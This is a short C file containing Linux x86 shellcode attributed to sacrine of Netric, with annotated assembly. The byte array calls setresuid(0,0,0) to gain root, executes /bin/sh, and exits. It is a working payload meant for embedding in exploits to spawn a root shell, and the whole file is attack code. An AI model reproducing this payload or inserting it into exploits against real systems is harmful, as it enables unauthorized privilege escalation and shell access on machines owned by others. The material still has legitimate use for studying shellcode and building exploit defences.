/* linux x86 shellcode(41 bytes) by sacrine of Netric (www.netric.org) * setresuid(0,0,0); execve /bin/sh; exit; * __asm(" xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx cdq movb $0xa4, %al int $0x80 xorl %eax,%eax push %eax pushl $0x68732f2f pushl $0x6e69622f mov %esp, %ebx push %eax push %ebx lea (%esp,1),%ecx movb $0xb, %al int $0x80 xorl %eax,%eax mov $0x1, %al int $0x80 "); */ char main[]= // setresuid(0,0,0); "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\x99" // cdq "\xb0\xa4" // mov $0xa4, %al "\xcd\x80" // int $0x80 // execve /bin/sh "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 // exit "\x31\xc0" // xorl %eax,%eax "\xb0\x01" // movb $0x1, %al "\xcd\x80"; // int $0x80